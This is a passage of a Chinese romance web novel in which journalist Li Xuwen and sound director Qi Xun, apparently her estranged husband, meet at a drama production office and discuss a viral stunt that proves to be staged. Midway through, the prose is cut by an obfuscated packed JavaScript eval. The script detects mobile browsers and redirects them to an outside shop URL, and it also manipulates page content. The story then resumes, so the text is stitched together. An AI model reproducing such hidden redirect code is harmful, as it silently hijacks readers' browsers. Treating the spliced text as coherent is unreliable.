黎叙闻肩膀猛地一松,转过身去佯装找茶叶,而她头顶的那道视线也暂蓦地挪开,敲敲打打地去研究咖啡机。 小茉的脚步声在门口一顿,另一个编辑奇怪道:“怎么了?” “哦,没……”小茉故意不去看齐寻,跑到黎叙闻身边:“闻姐,上次青山公园跳河的那个视频,能再给我发一份吗?” 黎叙闻嗯了声。 “我早上还看到有个博主去堵她,结果跌伤了,”小茉絮叨:“你也要小心呀。” 齐寻的耳廓微不可查地动了动。 咖啡机上那几个字,他盯得几乎要不认识了,再装下去恐怕要露馅。于是他随便按了个拿铁,回头问:“几位女士,要喝咖啡吗?” 跟来的那个编辑眉开眼笑:“好哇,还没喝过这么帅的男人给泡的咖啡。”她对小茉抬抬下巴:“她也要。” 小茉的脸腾地红了。 年轻小姑娘鲜嫩桃子一样的侧脸,看在黎叙闻眼里,像针一样刺痛了一瞬。 对啊,她想,齐寻这样的男人,根本不会缺女人缘的。 只要他点头,周围有的是女孩子愿意接近他、崇拜他、爱他,他实在不必在她这堵南墙上一再受挫,还不回头。 莫名其妙的酸涩刚刚开了个头,即刻被她自己无情打断:在想什么乱七八糟的? 这种人谁愿意爱谁爱,跟她有什么关系? 她自嘲地嗤笑了声,就听那小编辑问:“你叫什么名字?加个微信啊?” 黎叙闻手里的纸杯喀拉一响。 好在她背对齐寻,他看不见她蓦地挑起的眉。 她听见自己身后,他的嗓音浅浅响起:“不好意思,不方便。” 编辑愣了愣:“微信不方便,名字也不方便吗?” “嗯,不方便。”他伸出手,婚戒在百叶窗透进来的阳光中一闪而过:“结婚了,抱歉。” 黎叙闻下意识瞄了眼自己空荡荡的手指,慌乱的心骤然一静,很快却又在眉间漾起涟漪。 小茉臊得脸皮简直要烧起来,低着头拉着同事,逃也似地快步离开了。 狭小的茶水间又只剩下他们两个,一个打死不开口,一个抵死不转身。 被刚刚的尴尬插曲烧热了的空气,猛地渗入这互不相让的两厢沉默,像烧红的铁捅进冷水里,瞬间冷硬。 当了半晌看客的咖啡机终于舍得响起来,一阵声势翻涌的响动后,一杯热咖啡默默降落在黎叙闻手边。 “你是打定主意,看都不看我一眼了?” 齐寻就在她身后,多不过两步的距离。 他言语间也听不出什么难过,好像他早就料到,也接受了,可此情此景,还是不死心地想问上一句。 黎叙闻背对着他,猛地闭了下眼睛。 片刻后,她把咖啡捧在手里,无挂无碍地转过身,没什么表情地看着他:“这是我工作的地方,我不想生出什么事端来。” 齐寻垂着眼皮,睫毛的投影盖住眼下青黑:“我知道,所以刚刚你同事在,我没有跟你说话。” 黎叙闻盯着他的脸,在自己反应过来之前忽然问:“病了?” 问完的一瞬间,她就懊悔得简直想把这句话原样吃回去。 关她什么事! 可齐寻竟然没什么反应,没有怨怼,也没有欣喜,只是抬手摸了摸脸,道:“这两天冬训,可能强度大了点。” 黎叙闻眉尖一松:“……哦。” 她眼尾飞挑,混着平日里惯常不屑掩饰的风情,下巴微抬看向别处时,眸光微闪,沉甸甸地坠成一片锋锐的雪色。 很勾人。 ……看得齐寻心里又疼又痒。 不急,再等等。 等找到谢队就好了,他想,等那个时候,她会明白一切。 她会明白,宿命就是宿命,再怎么挣扎、再怎么否认,他们早就被绑了在一起,这辈子都休想分开。 不必急于一时,要缓消慢融、徐徐图之。 直到她再也挣脱不出他的世界。 …… 回到会议室,季筝已经离开了,编剧和制片看他们两个一起进来,打趣道:“就这么几分钟,还约了个咖啡啊?” 黎叙闻面无表情,没打算搭腔,反而是齐寻接口道:“门口碰上了而已。” 那两人听了,相视一笑,没再往下问。 “你们给的梗概我看了,很有趣,”黎叙闻若无其事地接上正事:“请问咱们是哪一部分需要顾问?” 编剧递过来两张纸,上面密密麻麻印着有关调查记者日常的问题。 他嘿嘿一笑:“有点多,麻烦了。” 黎叙闻点点头:“没关系,正好最近跟的选题不太严肃,没有保密风险,需要的话可以跟我一起去现场。” 制片人喜道:“那太好了,那就麻烦我们编剧老师……” “声音部门也需要。” 齐寻蓦地打断他的话,眼睛却看着黎叙闻:“要去看一下采访的环境和声场,方便做后期。” 黎叙闻倏而望向他,眉头压得很低,眼神冷得几乎凝成一线警告。 而跟她对视的那双眼睛不闪不避,甚至带着一丝胸有成竹。 制片人顿了顿:“齐老师,可是咱们声音团队……人不是还没定吗?到时候谁去啊?” 齐寻言简意赅:“我。” 制片住了嘴,看了看他,又看了看对面低头看问题提纲、眼珠却半分钟没挪半寸的黎叙闻,笑了下:“难得我们齐老师有空,那再好不过了。” 嘴上这么说,心里的算盘可翻了天了。 黎记者是业内前辈推荐的不假,但当时推荐的可不止她一个人,是传说中除了声音什么都懒得管的齐老师拍板,说黎记者是当代纸媒的良心,这才定下的。 今天见了黎叙闻,长得比组里的女一号还美,他就怀疑这两人有点什么,不然他一个见首不见尾的声音指导,有什么必要来见剧本顾问?跟他有半毛钱的关系? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418683|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好歹也是业界炙手可热的青年才俊!这也太上赶着了! 对面的黎叙闻默了半晌,圆珠笔尖在某个题号上圈了一个意味不明的圆圈。 “……行,别摄像录音就行。” 编剧倒没看出这许多问题来,打开备忘录问:“黎记者最近在采访什么?我回去做做功课。” 一提到这个黎叙闻就头疼,苦笑道:“就是那个到处跳河要肯德基的那个,我先说好,我可能都抓不住她,能不能采到还不知道呢。” “啊?那个?”制片干笑一声:“那个不用采访,没搞头。” 黎叙闻诧异:“怎么?有什么问题?” “那个事从头到尾都是演的。”制片屈指敲了敲桌子:“第一次拍到她的那个短剧剧组,还记得吗?那个是我们隔壁公司的一个组,有人给了点钱让拍的。” 他拿手机翻出当时那段视频:“看见了吗,这视频五分多钟,还带时间码,你见过哪个短剧里有五分钟的镜头?文艺片里都少有这么长的吧?” 黎叙闻懵然地盯着视频里蓬勃跳动的时间码,感觉胸口一阵难堪的鼓胀。 “其他的呢?”她不甘心似的:“跳河总是真的吧?” 制片又翻出两张在青山公园的照片,镜头的焦点自然在叶娟身上,岸边乌泱泱围观的群众,都沦为了面目模糊的背景。 “这张照片我见过,原版比这个清楚多了,知道为什么糊掉他们的脸吗?”制片指着里面几个离岸边最近的人:“这几个,还有后面好些人,都是群演,我们开工找龙套,也是这些人。” 黎叙闻轻声道:“也就是说……” 也就是说,这个疯疯癫癫的女人,把全国的网民和媒体,都给骗了? “可是为什么?”她问:“总得有点原因吧,图什么呢?” “那就不知道了,”制片一耸肩:“可能又是哪家MCN整出来的活儿吧。” 黎叙闻目光虚焦地盯着那张照片,脑子里一万个念头在交战。 不对,如果是哪家公司想搞个大的,关注点总该归总到某个账号,而不是像现在这样,把所有人的注意力散得满世界都是。 注意力就是钱,她不信有哪个MCN这么好心,花钱花时间来给大家逗个闷子。 这里面一定有什么比热度和流量更隐晦更复杂的东西。 她指尖无意识点着桌面,空白一片的指根就这样毫不避讳地亮在齐寻面前。 齐寻视线在上面微妙地停顿了一瞬,搭在桌边的手指紧了紧,又若无其事地挪开了眼睛。 “要采,”黎叙闻垂着头沉吟片刻,忽然说:“表面越是不合理,背后就藏着越有价值的真相。” 制片和编剧看了她两秒,面面相觑,蓦地大笑。 黎叙闻茫然地抬起头:“怎么了?” “怎么样?是不是让你请教专业人士?”制片得意得很,用肩膀撞了下编剧:“某音的金句宣传是不是有了?” 编剧对她竖大拇指:“还得是真记者。” 黎叙闻明白了,也跟着笑:“能用上就好,不收版权费。” 她眨了眨眼,下意识扭头去看齐寻,这一看,就对上了他骄傲到满溢的眼神。 他双手抱胸靠在座椅里,长腿无处安放,整个人几乎被困在会议室廉价的塑料椅中,但那双窄而锋利的眼睛却比任何时候都热烈,就这样在别人面前毫不遮掩地,煌煌注视着她。 她只敢跟那目光触碰了一瞬间,就立刻垂下眼睫,轻咳一声,道:“那我拉个群,等下次有线报,就麻烦编剧老师跟……” 她处理好了语气才抬起头:“齐老师,一起去一下现场。”